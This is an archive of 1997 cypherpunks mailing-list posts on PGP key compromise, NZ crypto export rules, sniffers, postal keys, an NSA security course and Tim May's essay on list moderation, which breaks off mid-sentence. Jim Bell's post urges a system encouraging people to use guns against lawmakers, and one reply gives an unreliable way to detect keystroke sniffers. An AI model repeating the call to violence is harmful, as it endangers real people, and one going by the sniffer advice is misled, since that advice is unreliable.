Subject: Re: Key Security Question
Message-ID: <199702020625.BAA07602@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 31 Jan 1997 15:37:01 -0500, you wrote:

>My computer went into the shop a few days ago, and I was unable to take 
>my PGP keys off it before it went in.  What are the security risks here?  
>If the repairman chooses to snoop through the files, what would he be 
>able to do with my key pair?  Will I need to revoke the key and make a 
>new one, or will I be relatively safe since he doesn't have my 
>passphrase?  

Depends how paranoid you are, how  good your passphrase is, how much you
trust the repairman not to snoop, etc.

For the hell of it I'd revoke my key and issue a new one though. It's
not a minor inconvenience, and when people use your old key you can still
decrypt the message... just send 'em a note that you prefer they use you're
current (unrevoked) key.

--Rob






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Sat, 1 Feb 1997 09:05:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto in New Zealand - an update
Message-ID: <85481663218919@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


This is a continuation of the article I posted here a few weeks ago.  You can
find the whole thing at http://jya.com/nsazeal.htm.
 
Peter.
 
-- Snip --
 
On the 17th January significant parts of this story appeared on the front page
of the National Business Review (NBR), a fairly influential paper read by
(apparently) half the NZ business world.  The GCSB declined to comment on
anything except to acknowledge that there had been a meeting between a GCSB
person and the manager of Orion Systems.  The story also confirms (from talking
to some of the people involved) the GCSB - MFAT and GCSB - DSD connections.
 
The following week Andrew Mayo wrote a letter to the editor of the NBR
containing an eloquent defense of the use of encryption to protect personal
privacy.  MFAT replied to say that they were only following orders, and were
required by the Wassenaar agreement to restrict crypto exports:
 
  "Export permits normally were required only if the encryption was 40-bit or
   stronger, so most commercial encryption would not be affected".
 
I wonder where the 40-bit limit suddenly came from?  Note also the phrasing
"40-bit or stronger".  This means that anything including 40 bits is
restricted.  If they're going to try to blindly parrot US policy then they
should at least get their facts straight.
 
A few days later I found someone who knew what to ask for in order to get a
copy of the NZ export regulations.  I called MFAT and talked to a gentleman by
the name of John Borrie, who had recently taken over responsibility for this
affair from someone else who, to put it mildly, had been annoying to deal with.
I suggested to him that the GCSB were feeding him just the information they
wanted him to know and no more, and that perhaps he should avail himself of
alternate sources of advice.  He didn't see it quite that way.
 
The export regulations are identical to the Australian regulations, even down
to the layout style.  A few of the fonts differ, but that may be due to
different systems/printers/whatever.  There are several obvious holes in these
regulations, but I won't mention them now because they'll probably be used in
court fairly soon.
 
The following week the story was again on the front page of the NBR.  This time
the story covered the financial difficulties that Cyphercom had been plunged
into.  Because MFAT had stopped them from having any access to their product
for nine months, the company was considering filing for bankruptcy.  MFAT
spokesperson Caroline Forsyth commented:
 
  "US controls on the export of strategic goods are at least as strict as those
   of New Zealand... an export permit would normally only be required for
   encryption if it was 40-bit or stronger.  Most commercial encryption is well
   below 40-bit strength.  Almost all New Zealand exporters of software are
   unaffected".
 
The confused and nonsensical nature of these statements presents a scary
picture.  MFAT are a government department who (in this area) have no idea what
they're doing, but don't know that they have no idea.  Combined with the
sterling advice they seem to be getting from the GCSB, this could make them a
tough nut to crack.
 
In anticipation of what MFAT would say, I wrote a letter to the NBR editor
(which won the "Letter of the Week" award :-) which refuted their claims.  The
letter ended with:
 
  It appears that MFAT's position is based on an antiquated outlook which
  regards software to secure electronic commerce as some form of special
  military technology, a position which might have been reasonable a few
  decades ago but is totally out of touch with the modern use of computers and
  electronic communications.  In their October 1996 "Business File", MFAT claim
  that "New Zealand... is helping to limit the spread of increasingly
  sophisticated military technology and weapons of mass destruction".  Whether
  mass-market commercial software which protects financial transactions and
  medical records counts as "sophisticated military technology" or "weapons of
  mass destruction" is unclear (I suppose it's possible to beat someone to
  death with a floppy disk if you were very determined, but that hardly
  qualifies as "mass destruction").
 
  Finally, one of the goals of the Wassenaar agreement was to "not impede bona
  fide civil transactions", which MFAT have certainly done, and are continuing
  to do.  In the meantime anyone with a credit card and phone, or the ability
  to walk into a software store, can buy the same software overseas.  Stopping
  New Zealand companies from exporting widely available mass-market computer
  software of this kind "because terrorists might use it" makes about as much
  sense as stopping farmers from exporting beef and lamb "because terrorists
  might eat it".
 
  The issue of Management Technology Briefing included with last weeks NBR
  reports on page 22 that there will be "a US$186 billion market in global
  transactions by the year 2000", along with a comment that securing these
  transactions - one of the goals cryptlib was designed for - remains a problem
  area.  Within the next few years the push towards electronic commerce will
  become a veritable steamroller.  By needlessly blocking the export of the
  technology required to secure this market, MFAT is helping ensure that New
  Zealand becomes part of the roadkill.
 
MFAT's parting shot was:
 
  "People trying to export encryption without clearance can be prosecuted under
   the Customs and Excise Act".
 
I should certainly hope so!  It's going to be difficult creating a test case to
get this nonsense thrown out if they refuse to prosecute me.
 
Stay tuned, this is going to get entertaining...
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Rob)
Date: Sat, 1 Feb 1997 22:12:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: NOISE.SYS Home Page
Message-ID: <199702020635.BAA07796@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain




I now have an under-construction home page for NOISE.SYS, in case
you're interested:

  http://www.asb.com/usr/wlkngowl/software.htm#noise

(NOISE.SYS is a crypto-RNG device for DOS boxes.)

Rob


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 2 Feb 1997 04:02:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: IRS Can't Compete
Message-ID: <3.0.1.32.19970202070316.0183023c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Note proof that government agencies are running up against serious problems
competing with market actors even though they have the guns.  

- From today's NYT:
February 1, 1997
Leaders of I.R.S. Panel Urge Sweeping Overhaul of Agency

By DAVID CAY JOHNSTON

The IRS had publicly defended its management of computer modernization until Thursday, when Arthur A. Gross, who was hired last year as an assistant commissioner of the agency to rescue the effort, told the restructuring commission that the new systems being developed "do not work in the real world."

Gross also said the IRS lacked the "intellectual capital" to modernize.

["intellectual capital" = brains]

Kerrey said that although the modernization project was bigger than any corporate computer system the government would have a hard time hiring the necessary talent to manage the project. "The market is bidding up the price for people who have these skills, and we just can't dole out big salaries," he said.

Executives who oversee information systems make as much as $378,000 in salary and bonuses, according to William M. Mercer, the nation's largest pay consulting firm. That is more than twice the highest federal salary and bonus, and corporate information executives typically also get options and other incentive payments.

******************

Translation - since the Feds can't afford to pay CIOs what they're worth, and
governments don't offer stock options, they can't get the talent they need
to keep up with the market.  We are talking about senior management here.
If they try and respond by contracting senior management out, eventually the
institution disappears as a government institution.  

DCF
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Version: 4.5

iQCVAgUBMvSCgYVO4r4sgSPhAQHhYAP+N80RhT0efc2seO+P99WLVYMJ8/1Q1R7e
CkLY8guJw2PnuQlaGG3lj14mYvTPMitZFsQ4pFnkSzzyF57QN4nXPbXajkNeWao+
Kcr2T3TJa5gZcGv309/I7FbZp2MfaugEjyNoielY12q9qsyuJyCv1l4Uh1L/tq9c
wEKoLyMoh5U=
=orfk
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 3 Feb 1997 10:04:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
Message-ID: <854982969.56802.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > > On the other hand, if the "repairman" replaced your pgp executable
> > > with version 2.6.3kgb, which uses your hashed passphrase as the
> > > session key, you're hosed.  Or if he installed a keystroke sniffer,
> > > or added a small radio transmitter to your keyboard, or whatever.
> > > Depends on your threat model.  If you need to be paranoid,
> > > they've already gotten you....
> > 
> > If you're really paranoid, you can boot from a clean floppy and
> > reinstall everything from your backup tapes. You do have a
> > contingency plan in case your hard disk goes bad, or gets a
> > virus, don't you? Well, if you're in doubt, exercise it.

Face it, the only solution is to wrap your computer, cat, family, car 
and yourself in aluminium foil and burn your hard disk whilst 
chanting "yamma yamma yamma yaaaaamaa"


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 2 Feb 1997 07:11:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
In-Reply-To: <199702020557.XAA17186@manifold.algebra.com>
Message-ID: <VB7H2D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Bill Stewart <stewarts@ix.netcom.com> writes:
> > > On the other hand, if the "repairman" replaced your pgp executable
> > > with version 2.6.3kgb, which uses your hashed passphrase as the
> > > session key, you're hosed.  Or if he installed a keystroke sniffer,
> > > or added a small radio transmitter to your keyboard, or whatever.
> > > Depends on your threat model.  If you need to be paranoid,
> > > they've already gotten you....
> >
> > If you're really paranoid, you can boot from a clean floppy and
> > reinstall everything from your backup tapes. You do have a
> > contingency plan in case your hard disk goes bad, or gets a
> > virus, don't you? Well, if you're in doubt, exercise it.
>
> And what if the repairman replaces BIOS ROM chips with KGBios?

On some computers it's possible to add executable code to the boot
sequence without replacing the actual ROM chip because they're
rewritiable. Examples: most Sun boxes; intel motherboards with
'flash bios'.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 2 Feb 1997 07:24:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <32F428CD.AB9@gte.net>
Message-ID: <gJ8H2D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:
> I ask you again to look at the motives of the people involved.  John
> Gilmore isn't about to waste a second of his personal time "moderating"
> this list (who could blame him?), and I can't for the life of me see
> a reason why Sandy would want to devote so much time to it.  Have you
> or anyone seen a real reason why Sandy would want to do this?

You know one reason: Sandy makes sure that submissions critical of
his employer don't appear on *either* the censored or the flames
list (but result in lawyer letters). There probably are other reasons.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Sun, 2 Feb 1997 10:15:27 -0800 (PST)
To: Scott <scott-b@ix.netcom.com>
Subject: Re: Keystroke sniffer question
In-Reply-To: <2.2.32.19970202043909.006c8dd0@popd.ix.netcom.com>
Message-ID: <Pine.3.89.9702021014.A2250-0100000@netcom3>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 1 Feb 1997, Scott wrote:

> How can you detect if there is a keystroke sniffer on your computer.
> 
All sniffers have to write to disk at some point.  You can detect one by 
checking to see how much disk space you have (DIR on MSDOS), typing a few 
lines of random characters, and check your disk space again.  If it's 
gone down a little, then you probably have one.

> Is there a file name to look for?

Try checking in your TEMP directory...the few ones that I've seen default 
to creating an invisible file in that directory.
 
> Where do people get them?

They either buy them or write them.




Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@homer.sonetis.com>
Date: Sun, 2 Feb 1997 07:30:12 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Trigger-Words...
Message-ID: <199702021530.KAA01205@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 29 Jan 1997, harka@nycmetro.com queried:

> Actually, I might not have chosen the correct words for what I
> wanted...
> I am looking for sniffer-programs, that analyze e-mail traffic on
> the Net and filtering out all e-mails potentially interesting for
> _intelligence services_. For example, I've heard, that if an e-mail
> contains the words: "assassinate President" (DISCLAIMER: I hope, our
> President lives a long and happy life, even after his
> impeachment...:)), it will automatically get filtered and checked
> out by the Secret Service.
> Different intelligence agencies might have similar things in place.
> Where could I get some more information about that?

Many Un*xes (SunOS, Solaris, IRIX, Linux, and probably others) have
included their own versions of sniffers, supposedly for network
debugging. These are typically called something like "tcpdump",
"etherfind", "snoop", etc.

You would need to run a sniffer at a "choke point" of an
organisation, for example the external router to the Internet, to
capture all of the packets to / from that organisation.  Putting a
sniffer on some arbitrary router out there in cloud-land would
probably not be all that productive, since there's no guarantee that
all of the IP packets carrying a given TCP connection would take the
same route. 

Cynthia

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cPbtIaagBw9eofsdimzlwx9Y0VvaTRWt+2Cjd8aQKmG5nwUBSF9BlFoX2/TU3QZY
IP+hiecLaag=
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-----END PGP SIGNATURE-----
===============================================================
Cynthia H. Brown
Ottawa, Ontario, Canada
E-mail:     cynthb@sonetis.com
Home Page:  http://www.sonetis.com/~cynthb/
PGP Key:    See Home Page

Junk mail will be ignored in the order in which it is received.

  It is morally as bad not to care whether a thing
  is true or not, so long as it makes you feel
  good, as it is not to care how you got your money
  as long as you have got it.

        - Edmund Way Teale, "Circle of the Seasons"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Sun, 2 Feb 1997 15:18:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <199702020226.SAA04649@toad.com>
Message-ID: <970202.103614.3s2.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, toto@sk.sympatico.ca writes:

>> >>>Postal Service offers $25,000 reward for stolen . . . something

>   Mail carriers in some areas carry keys for buildings with security
> doors (sometimes Master keys).

In Minneapolis and Anchorage (the two cities of which I have knowledge)
mail carriers have a key that opens not only apartment-style mailboxes,
but little boxes on the outside of apartment buildings that hold a key
to the building's lobby.  Snag one of those keys and a large portion of
the city opens its doors to you.  (some buildings have further locked
doors beyond the mailbox lobby to counter this threat)
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvTEUxvikii9febJAQEMEwP+Ji/B1z7uYSJspTij6xH2jUn/JMXmJ7RF
drUZruHZNxQv3xGHOPbf4nerDqANgYe/6DzZdrNRhP5RgYTPZp4K1gHDRLhyKAZL
EriifeqlXe9X69EDCXSJr8nVSEP1XlSoI2cc9nMFyG42Mwg0Do52WdvhBbZtiM8I
zKo9v+3VOqg=
=O4dL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 2 Feb 1997 08:00:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
In-Reply-To: <199702021011.CAA16505@toad.com>
Message-ID: <199702021542.KAA27029@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain



Someone using the Huge Cajones mailer wrote:

   David Lesher <wb8foz@nrk.com> writes:

   > USPS uses key locks seemingly designed by Ben Franklin himself.
   > Look at them someday. FedEx boxes used to have Simplex 926
   > 5 pushbutton ""locks"" if you stretch the point.

Still did last I checked.

   Don't let the old-fashioned look deceive you.  Most mail storage boxes
   use lever tumbler locks (similar to what's used in safe deposit
   vaults, though obviously the mailbox locks have a flimsier plug).

How is that obvious?  Safe deposit locks generally aren't designed to
be hard to open, just hard to open without damage.  There's always
either a guard or a locked vault door protecting the locks.
Mailboxes, on the other hand, generally aren't kept under guard or in
vaults.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 2 Feb 1997 10:48:29 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702021847.KAA17527@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:56 AM 2/2/97 -0500, Black Unicorn wrote:

>Please note that the difference between:
>
>"But he got the same sentence as he would have if he was convicted of 
>carrying a gun in furtherance of the crime."
>
>and
>
>"But he got the same sentence as he would have is he was not convicted of
>carrying a gun in furtherance of the crime."
>
>is subtle at best.
>
>Next time don't get caught stealing with a gun nearby.


Better yet, set up a system to encourage the public to USE those guns (and 
other weapons) to get rid of the people who pass such laws, and the problem 
is solved.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mch@squirrel.com (Mark Henderson)
Date: Sun, 2 Feb 1997 12:37:56 -0800 (PST)
To: lwjohnson@grill.sk.ca (Larry Johnson)
Subject: Re: PGP 2.1
In-Reply-To: <199702021025.CAA16822@toad.com>
Message-ID: <Mutt.19970202123812.mch@ratatosk.squirrel.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3951.1071713685.multipart/signed"

--Boundary..3951.1071713685.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Larry Johnson writes:
> Hello,
> Can any;one tell me how to get a version of PGP 2.1?
> Thanks
> 

If you are a U.S./Canadian person in the U.S. or Canada you can get 2.1
and most of the release versions of PGP from 
ftp://ftp.wimsey.com/pub/crypto

Easiest thing is to point your web browser to 
ftp://ftp.wimsey.bc.ca/pub/crypto/software/README.html

Then after reading and agreeing to the conditions, click in the
appropriate place and descend into the PGP directory.

But, why do you want version 2.1?

-- 
Mark Henderson -- mch@squirrel.com, henderso@netcom.com, markh@wimsey.bc.ca
PGP key 1024/B2667EFF - 5A 93 7D 29 EB 63 84 09  EA A2 AA 6C FA C5 A6 21
unstrip for Solaris, Wimsey crypto archive, TECO, computer security links,
change-sun-hostid, Sun NVRAM/hostid FAQ - http://www.squirrel.com/squirrel/


--Boundary..3951.1071713685.multipart/signed
Content-Type: application/octet-stream; name="pgp00000.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00000.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogMi42LjMK
CmlRQ1ZBd1VCTXZUN0xhV1lDWXl5Wm43L0FRR0ptQVAvZFFzNG5RaTA3VWFO
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VHVwSW9JVnNSZVpiWUpkdTJXUGx1WHNVVFErb1RPd0VITk9EODMxdApUWHNx
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R1AgU0lHTkFUVVJFLS0tLS0K
--Boundary..3951.1071713685.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 2 Feb 1997 10:55:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: National Cryptologic School
Message-ID: <1.5.4.32.19970202184922.006cda74@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


DAW provided this URL:

   http://csrc.nist.gov/training/in170.zip

   1996-04-29 Introduction to Computer Security
   National Cryptologic School
   Interactive Courseware Trainee Guide
   (formerly, CP-133) (37 zipped files, DOS program) 

We've had a look at this course, a primer on CompSec
and a required course for all DoD employees. It takes 
some fiddling to get past the sign-on block. Hint: after
unzipping execute "student.exe" and enter "CP" as the 
lesson. Repeat for other listed files, CPxxx - CPxxx.

It's basic stuff but worthwhile for its claims, these among 
others:

1. Most hackers are employees of the target.

2. Negligence, accidents and sloppy sys-administration are 
prime causes of disruptions, perhaps more than deliberate 
attacks.

3. Environmental weaknesses are often overlooked by
security experts too focussed on computer systems.

It lists these security documents as references:

   EO 12356 [superceded by EO 12958]
   DCID 1/16 [Director of Central Intelligence Directive]
   DoDDir 5200.28
   DoD 5200.28 STD
   Public Law 100-235
   NSA/CSS Dir 10-27
   NSA/CSS Manual 130-1 (NSAM 130-1)
   NSA/CSS Manual 130-2 (NSAM 130-2)
   NSA/CSS Reg 130-2
   NTISSAM COMPSEC 1-87
   The Rainbow Series
   OMB A-130

Does anyone know of a source for the DCID series and the
NSA/CSS series? Some of the others are available on the Web 
-- see AltaVista.

While looking for these we ran across an informative implementation 
of infosec and compsec:

   Information Systems Accreditation Document, 4 Volumes

   System Security Requirements for the
   Department of Defense Intelligence Information System

   Automated Message Handling System (AMHS) V2.x

   By:   McDonnell Douglas Aerospace
   For:   Electronic Systems Center,  Air Force Materiel Command

Which we've put at:

   http://jya.com/amhs.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 2 Feb 1997 14:42:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: My Departure, Moderation, and "Ownership of the List"
Message-ID: <v03007800af1ab0e7d67e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



A couple of people have sent me pinging messages, asking about my status on
the Cypherpunks list....apparently it has taken several weeks for folks to
notice my absence! :-}  This may speak volumes about why I have left the
list, and what the list has become.....

I chose not to write a "departing flame" (or message, but some might call
it a flame) when I unsubscribed several weeks ago--within an hour of
reading that John and Sandy had decided to make "their" list a moderated
list, by the way--as I saw little benefit. I was also fed up with things,
and saw no point in wasting even more of my time arguing against the New
Cypherpunks World Order, as the NCWO was clearly presented as a fait
accompli, not something ablut which opinions of list members (or even list
_founders_, at least not me) were being sought. It's my nature to just say
"Fuck it" and leave when I feel I have overstayed my time, or things are no
longer fun, or I am made to feel unwelcome.

But since several people have pinged me, asking about my status, I'll take
some time to say a few things. I've had access to the hks.net archive site,
and/or the Singapore site, to occasionally see what was being said on the
list (old habits die slowly, so I sometimes drop in to see what you people
are flaming each other about...not surprisingly--in fact utterly
predictably--I see vast amounts of bandwidth consumed by arguments about
moderation, about the putative biases of the Moderator and Director of the
New Cypherpunks World Order, about alternative moderation strategies (which
is stupid, as John and Sandy announced what they were going to do, not just
some of their preliminary thoughts), and so on. I've also noticed fewer
substantive essays. With no false modesty I tried awfully hard to compose
substantive essays on crypto-political topics, often more than one per day.
(Others did too, but they seem to be tapering off as well, leaving the list
to be dominated by something called a "Toto," the "O.J. was framed!"
ravings of Dale Thorn, the love letters between Vulis and someone name
Nurdane Oksas, and the occasional bit of crypto news. Ho hum. I'm glad I'm
not reading the list in e-mail, and thus can easily avoid replying to these
inanities...which would probably not be approved for reading by Sandy, so
why bother anyway?)


Rather than compose a traditional essay, I'll take the  easy way out and
list some bulleted points.

* First, I don't argue that John Gilmore is unfree to do as he wishes with
his machine, toad, which has been the major machine host for the
Cypherpunks list. John can tell us we have to write in Pig Latin if he
wishes. Much of the debate I saw in the archives was debate that missed the
point about what John could and couldn't do. No one can seriously question
the right of the owner of a machine, or the owner of a restaurant, etc., to
set the policies he wishes. The owner of a restaurant is perfectly free--or
used to be, and still is to anyone with even slightly libertarian or
freedom tendencies--to set the rules of his "house." He may insist that
shirts and shoes be worn, or that smoking is not allowed (or even is
required, in theory), etc. He may say "All those eating in my restaurant
must wear funny hats and have their costumes approved by Sandy Sandfort."
This is unexceptionable.

* However, anyone who disputes these rules (disputes in the sense of
disliking or disagreeing with them, not legally challenging them) is free
to leave. Those who don't like crowded, noisy, smoke-filled sports bars are
encourgaged to leave. And so on. Again, unexceptionable.

(The more complicated case of contracts, verbal or written, and "changing
the rules," does not apply here. No one had a contract with John, or Sandy,
or Hugh, etc., so this is not germane.)

* But the really important issue is this: is the _physical hosting_ of the
Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
these hosts to be the "owners" of the Cypherpunks group? Would we think
that a corporate host, say, would have the authority to direct what we
could say on the list? (Again, not disputing their corporate property
rights...as a libertarian, I cannot. Other issues are what I'm getting at.)

* If a Boy Scout troop meets at a local church, and has for several years,
continuously, would we consider the church to be the owner of the troop?
Could the church insist on avoidance of certain "cuss words" and demand
that prayers be said before each gathering? Certainly the church could tell
the troop what policies were to be followed if the the facilities were to
be used, etc., and the troop could leave if it didn't like the terms (or,
in parallel with my situation, any troop member could choose to leave....).
This is what we mean by "property rights": the legal right of a property
owner to do with his property as he wishes, modulo prior contractual
relationships, criminal laws, etc.

* How did the mailing list for the group, now called Cypherpunks, get
started, and how did it end up being run off of John's hardare? Hugh Daniel
got the actual mailing list rolling, based on a discussion Eric Hughes,
Hugh, and I had the day after the first physical meeting, in September
1992. We thought the group we had just spent the day with ought to be able
to stay in touch, and that a mailing list was the right way to go. There
was talk of siting it on the UC Berkeley computers (actually, the
Undergraduate Association computers, a la the Cypherpunks archive site at
"csua"), but Hugh thought he might be able to use "toad," and this is what
happened. (I have not heard from Hugh on his views of this New and
Moderated Non-Anarchic List.)

* I think we should all be very grateful to John for agreeing to let it run
on his hardware, but not let our gratitude turn into some sort of
subservience and blather about how John "owns" the Cypherpunks group.

* Again, is the "Cyherpunks community" the same as the mailing list? And is
the mailing list, hosted at toad, the "property" of John Gilmore?

* In my view, neither John nor Sandy in any sense "own" our group. It is a
virtual community which sometimes has physical meetings at various places
(including corporations, restaurants, and bookstores, none of which are
even partial "owners" of the group) and which has had several
instantiations on the Net, including sub-lists not connected to toad.com in
any way. While John is of course free at any time to suspend his hosting of
the list, I think it a serious misapprehension of the basic nature of
virtual communities to accept the claim that John should decide on what is
appropriate to bear the "Cypherpunks" list imprimatur and what is to be
consigned to the flame list.

* The mechanics of the announcement troubled me greatly. To be blunt, I was
seething with anger. I was mightily annoyed to read that John had made a
decision to appoint Sandy as his Moderator, with no discussion on the list.
I don't know if Eric Hughes and Hugh Daniel were asked their opinions, but
I certainly know I was not. I feel that as one of the two or three
founders, depending on how one is counting, and as a frequent contributor
to the list since its inception, and so on, I (and others) should at least
have been told of this plan. Better yet, have the plans discussed on the
list, as some good ideas may have been generated.

I'll have more to say about my problems with how things were handled.
Frankly, it smacked of the same kind of fait accompli decision John made
with the unsubscribing of Vulis. While John had (and has) every legal right
to do with his property as he wished, the effect was very negative. First,
Vulis found other ways to post (duh). Second, the list was consumed with
flames about this, many from Vulis, and many from others. Third,
journalists (who love sizzle over substance any day of the week) lept into
the fray with articles which gave Vulis the publicity he craved. Fourth, it
sent a message to enemies of liberty that "Even the Cypherpunks have found
it necessary to abandon their anarchic ways."

(I'm well aware of the issues with pests like Vulis, who seek to destroy
virtual communities like ours. But the solution John used did not work, and
generated more crap. As you all should know, it was John himself who coined
the wonderful saying, "The Net interprets censorship as damage and routes
around it." A delicious irony.)

* In the archives, I did see a bunch of "I support Sandy" and "John is our
leader" comments from reasonable people. The obvious noise of Vulis and his
cohorts like Aga made a "Do something!" attitude somewhat understandable. I
don't think the decision made was a wise one, and I strongly doubt it will
work to make the list a better one.

* The proper solution to bad speech is more speech, not censorship.
Censorship just makes opponents of "speech anarchy" happy--it affirms their
basic belief that censors are needed.

* "Censorship" is another overloaded term. I don't think the "Definition 1"
of dictionary definitions, about _governmental_ restrictions, is the only
meaningful definition. Everybody knows what it meant when we say that
"Lockheed is censoring the views of employees," even though we know
Lockheed is not using government power. A censor is one who censors. And
even my "American Heritage Dictionary" gives this as its "definition 1":

"censor n. 1. A person authorized to examine books, films, or other
material and to remove or suppress morally, politically, or otherwise
objectionable."

(Other dictionaries of course give similar definitions. The notion that
censors are confined to being government employees is a misconception.)

* OK, even given that John had decided to censor "his" list, what about his
choice of Sandy Sandfort as the censor? I've known Sandy for several years
(I was the one who invited him to the second Cypherpunks meeting), but he's
a poor choice as a censor, moderator, whatever. First, because he has so
often gotten involved in protracted flame wars, such as with Vulis
(remember the dozens of messages about the "bet" to bring Vulis out? I
stayed out of the charade completely.), with Hallam-Baker, and with others.
Second, because he has not been actively composing essays for a while,
perhaps because of his job with Community Connexion. Other reasons, too.

(I count Sandy as a friend, but I'm just being honest here. Sandy is just
not a "Peter Neumann" (moderator of the "RISKS" list).

* Nor do the announced criteria make any sense. While the inane one-line
scatological insults have been filtered out, many "flames" make it through,
based on what I've seen in perusing the hks archive site. And some
reasonable comments get dumped in the flame bucket.

* As expected, those who only want to talk about cryptography (but who
rarely do, themselves, also as expected) waste bandwidth saying the
"anarchist" and "libertarian" stuff ought to go in to the "rejected" list.
More bandwidth wasted, as each group lobbies to have its ideological
opponents censored by Sandy.

* I would have had no problem had John announced that he was creating a new
list, the "Good Stuff" list, with Sandy has his Chooser of Good Stuff.
After all, both Eric Blossom and Ray Arachelian already offer just such
lists, and more would not hurt.

But by making the _main list_ the censored one, this skewed things
considerably.

* (Frankly, one of my considerations in leaving was the feeling that I
would never know if an essay I'd spent hours composing would be rejected by
Sandy for whatever reasons....maybe he might think my essay was off-topic,
or used one of the Seven Deadly Words, or was "too flamish." Whatever. I
realized that life is too short to have Sandy Sandfort deciding whether my
essays should go out to the main list (which is really just a list like
Eric Blossom's best-of list, except it is be edict now the main list) or be
dumped into the flames list, to be read by a handful of people.)

* Why, many reasonable people may ask, did I not simply unsubscribe from
